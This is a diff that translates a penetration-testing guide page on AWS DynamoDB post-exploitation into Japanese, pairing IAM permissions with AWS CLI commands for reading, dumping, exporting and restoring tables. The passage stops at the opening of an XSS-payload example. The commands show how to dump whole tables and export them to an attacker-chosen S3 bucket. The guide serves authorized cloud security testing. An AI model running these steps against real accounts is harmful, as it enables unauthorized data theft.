--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - DynamoDB ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## DynamoDB
-For more information check:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを単に要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`)。
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+この権限を使用すると、**`transact-get-items`** メソッドを次のように使用することも可能です:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較(必ず表示される必要があります)は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+この権限を使用して、**テーブル全体を簡単にダンプすることができます**。
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+この権限を使用すると、**テーブル全体を簡単にダンプできます**。
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+この権限は、次のように `batch-execute-statement` を実行することも許可します:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+しかし、値を指定してプライマリキーを設定する必要があるため、それほど便利ではありません。
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+この権限により、攻撃者は**自分の選択したS3バケットにテーブル全体をエクスポート**することができます:
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+注意:これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、バックアップを作成してから別のテーブルに復元することもできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+この権限は、ユーザーが**テーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じプライマリキーを持つアイテムがすでに存在する場合、**全体のアイテムが新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが**作成されます**。
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": "